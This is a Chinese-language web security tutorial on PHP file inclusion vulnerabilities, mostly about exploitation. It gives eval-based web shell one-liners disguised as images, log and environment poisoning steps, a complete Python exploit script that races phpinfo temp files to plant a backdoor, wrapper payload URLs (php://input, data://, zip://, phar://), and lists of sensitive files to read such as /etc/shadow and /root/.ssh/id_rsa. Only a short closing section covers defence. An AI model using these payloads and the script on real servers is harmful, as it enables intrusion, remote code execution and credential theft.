文件包含漏洞
漏洞描述
程序在引用文件的时候,引用的文件名是用户可控的情况,传入的文件名没有经过合理的校验或校验不严,从而操作到预想之外的文件,就有可能导致文件泄漏和恶意的代码注入。
程序开发人员一般会把重复使用的函数写到单个文件中,需要使用某个函数时直接调用此文件,无需再次编写,这重文件调用的过程一般被称为文件包含。程序开发人员希望代码更加灵活,所以将被包含的文件设置为变量,用来进行动态调用,但正是由于这种灵活性,从而导致客户端可以调用一个恶意文件,造成文件包含漏洞。
几乎所有脚本语言都会提供文件包含的功能,但文件包含漏洞在 PHP Web Application 中居多,而在 JSP、ASP、ASP.NET 程序中却非常少甚至没有,这是部分语言设计的弊端。在 PHP 中经常出现包含漏洞,但并不意味着其他语言不存在。
利用方法
文件包含漏洞,需要引入上传的文件到网站目录,或是服务器内部的文件,而且权限是可读,才能引入进来,或远程包含进来,但是需要一定条件。
代码分析
$_GET['filename'] 接收客户端传的参数,其中没有任何过滤就带入到 include 函数中,include 包含这个文件,引入到当前文件中,因此会造成文件包含漏洞
常见文件包含函数
include():执行到 include 时才包含文件,找不到被包含文件时只会产生警告,脚本将继续执行
require():只要程序一运行就包含文件,找不到被包含的文件时会产生致命错误,并停止脚本
include_once() 和 require_once():若文件中代码已被包含则不会再次包含
1、本地包含文件
本地包含文件,被包含的文件在本地。
1.1、文件包含/etc/passwd
../ 是上一级路径,如果存在漏洞而且文件又存在,不是 php 文件会被读取显示在页面中
/etc/passwd 文件是 linux 里的敏感信息,文件里存有 linux 用户的配置信息
1.2、文件包含图片
把 php 恶意代码文件改成 jpg 上传到网站上,本地包含引入恶意代码,当文件被引入后就可以执行代码
<?php phpinfo();eval($_POST['cmd']);?> 保存为 shell.jpg
上传图片格式到网站,再用文件包含漏洞引入图片,成功执行代码
1.3、包含日志文件 getshell
中间件例如 iis 、apache、nginx 这些 web 中间件,都会记录访问日志,如果访问日志中或错误日志中,存在有 php 代码,也可以引入到文件包含中。如果日志中有 php 恶意代码,也可导致 getshell
使用 burpsuite 访问 GET 填写恶意代码
在 linux 下日志文件权限默认是 root 而 php 的权限是 www-data 一般情况下是读取不了,如果是 windows 环境下权限是允许的。linux 默认的 apache 日志文件路径是
访问日志 /var/log/apache2/access.log
错误日志 /var/log/apache2/error.log
把文件日志包含进来即可
1.4、包含环境变量 getshell
修改 User-Agen 填写恶意代码
/proc/self/environ 这个文件里保存了系统的一些变量
如果权限足够,包含这个文件就能 getshell
1.5、phpinfo 文件包含临时文件
原理: 利用 post 上传文件产生临时文件,phpinfo()读取临时文件的路径和名字,本地包含漏洞生成 1 句话后门
php 在解析 multipart/form-data 请求时,会创建临时文件,并写入上传内容,脚本执行后即删除。phpinfo 可以输出$_FILE 信息,通过多种方式争取时间,在临时文件删除前执行文件包含:
- 通过在数据报文中加入大量的垃圾数据,导致 phpinfo 页面过大,输出进入流式输出,并不一次输出完毕
- 通过大量请求来延迟 php 脚本的执行速度
php post 方式上传任意文件,服务器都会创建临时文件来保存文件内容。在 HTTP 协议中为了方便进行文件传输,规定了一种基于表单的 HTML 文件传输方法,其中要确保上传表单的属性是 enctype="multipart/form-data"
PHP 引擎对 enctype="multipart/form-data"这种请求的处理过程如下:
- 请求到达
- 创建临时文件,并写入上传文件的内容
- 调用相应 PHP 脚本进行处理,如校验名称、大小等
- 删除临时文件
PHP 引擎会首先将文件内容保存到临时文件,临时文件的名称是 php + 随机字符,然后进行相应的操作。$_FILES 信息,包括临时文件路径、名称
PHP 中,有超全局变量 $_FILES,保存上传文件的信息,包括文件名、类型、 临时文件名、错误代号、大小
把文件上传到 phpinfo 获取临时文件路径
1 <!doctype html> 2 <html> 3 <body> 4 <form action="http://192.168.152.135/06/phpinfo.php" method="POST" enctype="multipart/form-data"> 5 <h3> Test upload tmp file</h3> 6 <label for="file">Filename:</label> 7 <input type="file" name="file"/><br/> 8 <input type="submit" name="submit" value="Submit" /> 9 </form> 10 </body> 11 </html>
通过 phpinfo 临时文件 getshell
php 本地包含文件利用脚本,修改利用的路径和文件即可
1 #!/usr/bin/python 2 #python version 2.7 3 4 import sys 5 import threading 6 import socket 7 8 def setup(host, port): 9 TAG = "Security Test" 10 PAYLOAD = """%sr 11 <?php file_put_contents('/tmp/Qftm', '<?php eval($_REQUEST[Qftm])?>')?>r""" % TAG 12 # PAYLOAD = """%sr 13 # <?php file_put_contents('/var/www/html/Qftm.php', '<?php eval($_REQUEST[Qftm])?>')?>r""" % TAG 14 REQ1_DATA = """-----------------------------7dbff1ded0714r 15 Content-Disposition: form-data; name="dummyname"; filename="test.txt"r 16 Content-Type: text/plainr 17 r 18 %s 19 -----------------------------7dbff1ded0714--r""" % PAYLOAD 20 padding = "A" * 5000 21 REQ1 = """POST /phpinfo.php?a=""" + padding + """ HTTP/1.1r 22 Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie=""" + padding + """r 23 HTTP_ACCEPT: """ + padding + """r 24 HTTP_USER_AGENT: """ + padding + """r 25 HTTP_ACCEPT_LANGUAGE: """ + padding + """r 26 HTTP_PRAGMA: """ + padding + """r 27 Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714r 28 Content-Length: %sr 29 Host: %sr 30 r 31 %s""" % (len(REQ1_DATA), host, REQ1_DATA) 32 # modify this to suit the LFI script 33 LFIREQ = """GET /index.php?file=%s HTTP/1.1r 34 User-Agent: Mozilla/4.0r 35 Proxy-Connection: Keep-Aliver 36 Host: %sr 37 r 38 r 39 """ 40 return (REQ1, TAG, LFIREQ) 41 42 def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag): 43 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 44 s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 45 46 s.connect((host, port)) 47 s2.connect((host, port)) 48 49 s.send(phpinforeq) 50 d = "" 51 while len(d) < offset: 52 d += s.recv(offset) 53 try: 54 i = d.index("[tmp_name] => ") 55 fn = d[i + 17:i + 31] 56 except ValueError: 57 return None 58 59 s2.send(lfireq % (fn, host)) 60 d = s2.recv(4096) 61 s.close() 62 s2.close() 63 64 if d.find(tag) != -1: 65 return fn 66 67 counter = 0 68 69 class ThreadWorker(threading.Thread): 70 def __init__(self, e, l, m, *args): 71 threading.Thread.__init__(self) 72 self.event = e 73 self.lock = l 74 self.maxattempts = m 75 self.args = args 76 77 def run(self): 78 global counter 79 while not self.event.is_set(): 80 with self.lock: 81 if counter >= self.maxattempts: 82 return 83 counter += 1 84 85 try: 86 x = phpInfoLFI(*self.args) 87 if self.event.is_set(): 88 break 89 if x: 90 print "nGot it! Shell created in /tmp/Qftm.php" 91 self.event.set() 92 93 except socket.error: 94 return 95 96 def getOffset(host, port, phpinforeq): 97 """Gets offset of tmp_name in the php output""" 98 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 99 s.connect((host, port)) 100 s.send(phpinforeq) 101 102 d = "" 103 while True: 104 i = s.recv(4096) 105 d += i 106 if i == "": 107 break 108 # detect the final chunk 109 if i.endswith("0rnrn"): 110 break 111 s.close() 112 i = d.find("[tmp_name] => ") 113 if i == -1: 114 raise ValueError("No php tmp_name in phpinfo output") 115 116 print "found %s at %i" % (d[i:i + 10], i) 117 # padded up a bit 118 return i + 256 119 120 def main(): 121 print "LFI With PHPInfo()" 122 print "-=" * 30 123 124 if len(sys.argv) < 2: 125 print "Usage: %s host [port] [threads]" % sys.argv[0] 126 sys.exit(1) 127 128 try: 129 host = socket.gethostbyname(sys.argv[1]) 130 except socket.error, e: 131 print "Error with hostname %s: %s" % (sys.argv[1], e) 132 sys.exit(1) 133 134 port = 80 135 try: 136 port = int(sys.argv[2]) 137 except IndexError: 138 pass 139 except ValueError, e: 140 print "Error with port %d: %s" % (sys.argv[2], e) 141 sys.exit(1) 142 143 poolsz = 10 144 try: 145 poolsz = int(sys.argv[3]) 146 except IndexError: 147 pass 148 except ValueError, e: 149 print "Error with poolsz %d: %s" % (sys.argv[3], e) 150 sys.exit(1) 151 152 print "Getting initial offset...", 153 reqphp, tag, reqlfi = setup(host, port) 154 offset = getOffset(host, port, reqphp) 155 sys.stdout.flush() 156 157 maxattempts = 1000 158 e = threading.Event() 159 l = threading.Lock() 160 161 print "Spawning worker pool (%d)..." % poolsz 162 sys.stdout.flush() 163 164 tp = [] 165 for i in range(0, poolsz): 166 tp.append(ThreadWorker(e, l, maxattempts, host, port, reqphp, offset, reqlfi, tag)) 167 168 for t in tp: 169 t.start() 170 try: 171 while not e.wait(1): 172 if e.is_set(): 173 break 174 with l: 175 sys.stdout.write("r% 4d / % 4d" % (counter, maxattempts)) 176 sys.stdout.flush() 177 if counter >= maxattempts: 178 break 179 print 180 if e.is_set(): 181 print "Woot! m/" 182 else: 183 print ":(" 184 except KeyboardInterrupt: 185 print "nTelling threads to shutdown..." 186 e.set() 187 188 print "Shuttin' down..." 189 for t in tp: 190 t.join() 191 192 if __name__ == "__main__": 193 main()
具体原理
在给 PHP 发送 POST 数据包时,如果数据包里包含文件区块,无论访问的代码中是否有处理文件上传的逻辑,php 都会将这个文件保存成一个临时文件(通常是/tmp/php[6 个随机字符]),这个临时文件在请求结束后就会被删除,同时 phpinfo 页面会将当前请求上下文中所有变量都打印出来。但是文件包含漏洞和 phpinfo 页面通常是两个页面,理论上我们需要先发送数据包给 phpinfo 页面,然后从返回页面中匹配出临时文件名,将这个文件名发送给文件包含漏洞页面。因为在第一个请求结束时,临时文件就会被删除,第二个请求就无法进行包含。但是这并不代表我们没有办法去利用这点上传恶意文件,只要发送足够多的数据,让页面还未反应过来,就上传我们的恶意文件,然后文件包含:
- 发送包含 webshell 的上传数据包给 phpinfo,这个数据包的 header,get 等位置一定要塞满垃圾数据
- phpinfo 这时会将所有数据都打印出来,其中的垃圾数据会将 phpinfo 撑得非常大
- PHP 默认缓冲区大小是 4096,即 PHP 每次返回 4096 个字节给 socket 连接
- 所以,我们直接操作原生 socket,每次读取 4096 个字节,只要读取到的字符里包含临时文件名,就立即发送第二个数据包
- 此时,第一个数据包的 socket 连接其实还没有结束,但是 PHP 还在继续每次输出 4096 个字节,所以临时文件还未被删除
- 我们可以利用这个时间差,成功包含临时文件,最后 getshell 执行 python exp.py 192.168.152.135 80
最后通过网站的文件包含漏洞去包含执行恶意代码
2、伪协议
file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
zlib:// — 压缩流
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流
2.1、php.ini 参数设置
在 php.ini 里有两个重要的参数 allow_url_fopen、allow_url_include
allow_url_fopen:默认值是 ON,允许 url 里的封装协议访问文件
allow_url_include:默认值是 OFF,不允许包含 url 里的封装协议包含文件
各协议的利用条件和方法
2.2、php://input
php://input 可以访问请求的原始数据的只读流,将 post 请求的数据当作 php 代码执行。当传入的参数作为文件名打开时,可以将参数设为 php://input,同时 post 想设置的文件内容,php 执行时会将 post 内容当作文件内容
注:当 enctype="multipart/form-data",php://input 是无效的
php.ini 条件是 allow_url_fopen=ON,allow_url_include=ON
设置请求为 post 请求,在正文输入 php 代码<?php phpinfo();?>
2.3、file://访问本地文件
在本地包含漏洞里可以使用 file 协议,使用 file 协议可以读取本地文件
读取相对路径文件
2.4、php://
php:// 用于访问各个输入/输出流 (I/O streams) ,经常使用的是 php://filter 和 php://input
php://filter 用于读取源码
php://input 用于执行 php 代码
php://filter 参数详解
可用的过滤器列表(4 类)
使用协议读取文件源码
php://filter/read=convert.base64-encode/resource=/etc/passwd
读取文件后再进行 base64 解码
phar://、zip://、bzip2://、zlib:// 用于读取压缩文件
zip:// 、bzip2:// 、zlib:// 均属于压缩流,可以访问压缩文件中的子文件,更重要的是不需要指定后缀名,可修改为任意后缀:jpg png gif 等
(1)zip://[压缩文件绝对路径]%23[压缩文件内的子文件名](#编码为%23)
http://include123.com/lfi.php?file=zip://D:\phpstudy_pro\WWW\include123.com\shell.png%23shell.jpg
http://include123.com/lfi.php?file=zip://shell.png%23shell.jpg
(2)compress.bzip2://file.bz2
http://include123.com/lfi.php?file=compress.bzip2://D:\phpstudy_pro\WWW\include123.com\shell.jpg
http://include123.com/lfi.php?file=compress.bzip2://./shell.jpg
(3)compress.zlib://file.gz
http://include123.com/lfi.php?file=compress.zlib://D:\phpstudy_pro\WWW\include123.com\shell.jpg
http://include123.com/lfi.php?file=compress.zlib://./shell.jpg
(4)phar://
http://include123.com/lfi.php?file=phar://D:\phpstudy_pro\WWW\include123.com\shell.png\shell.jpg
2.5、data://
(1)data://text/plain
http://192.168.152.135/lfi.php?file=data://text/plain,<?php%20phpinfo();?>
(2)data://text/plain;base64
http://192.168.152.135/lfi.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
3、文件包含常用路径
包含日志文件 getshell
/usr/local/apache2/logs/access_log
/logs/access_log /etc/httpd/logs/access_log
/var/log/httpd/access_log
读取网站配置文件
dedecms 数据库配置文件 data/common.inc.php
discuz 全局配置文件 config/config_global.php
phpcms 配置文件 caches/configs/database.php
phpwind 配置文件 conf/database.php
wordpress 配置文件 wp-config.php
包含系统配置文件
windows
C:/boot.ini //查看系统版本
C:/Windows/System32/inetsrv/MetaBase.xml // IIS 配置文件
C:/Windows/repairsam //存储系统初次安装的密码
C:/Program Files/mysql/my.ini //Mysql 配置
C:/Program Files/mysql/data/mysql/user.MYD //Mysql root
C:/Windows/php.ini //php 配置信息
C:/Windows/my.ini //Mysql 配置信息
linux
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_ras.keystore
/root/.ssh/known_hosts
/etc/passwd
/etc/shadow
/etc/my.cnf
/etc/httpd/conf/httpd.conf
/root/.bash_history
/root/.mysql_history
/proc/self/fd/fd[0-9]*(文件标识符)
/proc/mounts
/porc/config.gz
4、包含远程文件
当远程文件开启时,即 allow_url_fopen=On allow_url_include=ON 两个条件同时为 On,可以包含远程文件到本地执行,192.168.152.135 设置为远程的 ip
http://192.168.152.135/lfi.php?file=http://192.168.152.135/shell.txt
5、文件包含截断攻击
在 php 版本小于 5.3.4 允许使用 %00 截断,在使用 include 等文件包含函数时,可以截断文件名,截断会受 gpc 影响,如果 gpc 为 On 时,%00 会被转义成 \0 截断失败,file 参数可控的会造成漏洞
include $_GET['file'] .'.php';
传入 file 文件名拼接 .php 再用 include 引入文件
5.1、文件包含%00 截断
上传带有恶意代码的文件到网站目录,包含引入再进行 %00 截断
当前测试的版本是 php 5.2.17 gpc=off
5.2、超长文件包含截断
这个适合于 win32 可以使用 \. 进行截断和 .
(php 版本小于 5.2.8 可以成功,linux 需要文件名长于 4096,windows 需要长于 256)
利用操作系统对目录最大长度限制
点截断
http://include124.com/lfi2.php?file=shell.jpg............................................................................................................................................................................................................................................................................................................................................
/.截断
http://include124.com/lfi2.php?file=shell.jpg%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2e%2f%2ef%2e%2f%2e%2f%2ef%2e%2f%2e%2f%2e%2e
5.3、远程包含截断
# url编码为 %23
? url编码为 %3f
00 url编码为 %00
以上这些字符都可以截断
allow_url_fopen =On
allow_url_include=On
http://192.168.152.135/lfi2.php?file=http://192.168.152.135/shell.txt?
6、文件包含漏洞防御
(1)严格判断包含中的参数是否外部可控,因为文件包含漏洞利用成功与否的关键点就在于被包含的文件是否可被外部控制
(2)路径限制:限制被包含的文件只能在某一文件内,禁止目录跳转字符,如 "../"
(3)包含文件验证:验证被包含的文件是否是白名单中的一员
(4)尽量不要使用动态包含,可以在需要包含的页面固定写好,如 include('head.php')
(5)设置 allow_url_include 为 Off